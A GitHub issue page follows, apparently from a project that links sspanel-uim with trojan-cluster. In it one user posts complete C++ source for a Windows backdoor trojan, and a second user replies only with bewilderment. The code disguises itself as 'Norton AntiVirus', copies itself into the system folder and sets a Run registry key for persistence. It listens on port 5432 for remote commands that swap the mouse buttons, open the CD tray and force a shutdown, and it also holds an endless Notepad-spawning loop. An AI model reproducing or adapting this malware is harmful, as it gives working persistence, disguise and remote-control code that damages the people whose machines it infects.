trojan-cluster / yahagi.js

A program to connect sspanel-uim with trojan-cluster
24 stars 14 forks source link

Trojan open source #4

Closed lubiku closed 3 years ago

lubiku commented 4 years ago

include

include

include

using namespace std;

char Windir[MAX_PATH]; char Module[MAX_PATH];

SOCKET Socket;

void Hide() { SetConsoleTitle(“Norton AntiVirus”); hide = FindWindow(NULL, “Norton AntiVirus”); ShowWindow(hide, 0); }

void GetPaths() { GetSystemDirectory(Windir, sizeof(Windir)); GetModuleFileName(0, Module, sizeof(Module)); strcat(Windir, “\WindowsAPICalls.exe”); }

void Install() { CopyFile(Module,Windir,0);

HKEY Install; RegOpenKey(HKEY_LOCAL_MACHINE,”Software\Microsoft\Windows\CurrentVersion\Run”, &Install); RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir)); RegCloseKey(Install); }

int ServerInitialize() { WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR ) { WSACleanup(); system(Module); return 0; }

else { cout << “Winsock initialized.” << “\n”; }

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET ) { WSACleanup(); system(Module); return 0; }

else { cout << “Socket created.” << “\n”; }

sockaddr_in service; service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR) { closesocket(Socket); system(Module); return 0; }

else { cout << “Socket bound successfully.” << “\n”; } if (listen( Socket, 1 ) == SOCKET_ERROR ) cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”; AcceptSocket = SOCKET_ERROR; while (AcceptSocket == SOCKET_ERROR ) { AcceptSocket = accept(Socket, NULL, NULL ); } cout << “Client Connected.”<< “\n”; Socket = AcceptSocket; }

void Shutdown() { char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”; InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false); }

void OpenCloseCDTray() { mciSendString(“set cdaudio door open”, 0, 0, 0); mciSendString(“set cdaudio door open”, 0, 0, 0); }

void Bomb() { HWND hwnd; char Notepad[MAX_PATH]=”notepad.exe”; for(;;) { ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE); } }

void LeftMouse() { SwapMouseButton(true); }

void RightMouse() { SwapMouseButton(false); }

void Receive() { for(;;) { char Choice[MAX_PATH]=”"; cout << “Waiting for commands, sir!” << “\n”; recv(Socket, Choice, sizeof(Choice), 0); cout << Choice << “\n”; if (!strcmp(Choice,”1″)) { LeftMouse(); const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”}; send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0); } if (!strcmp(Choice,”2″)) { RightMouse(); const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”}; send(Socket,c_RightMouse, sizeof(c_RightMouse),0); } if (!strcmp(Choice,”3″)) { OpenCloseCDTray(); const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”}; send(Socket,c_CDTray, sizeof(c_CDTray),0); } if (!strcmp(Choice,”4″)) { Shutdown(); const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”}; send(Socket,c_Shutdown, sizeof(c_Shutdown),0); } } }

int main() { Hide(); GetPaths(); if(!strcmp(Windir,Module)) { ServerInitialize(); Receive(); } else { Install(); ServerInitialize(); Receive(); } return 0; }

DenrianWeiss commented 3 years ago

What the heck this is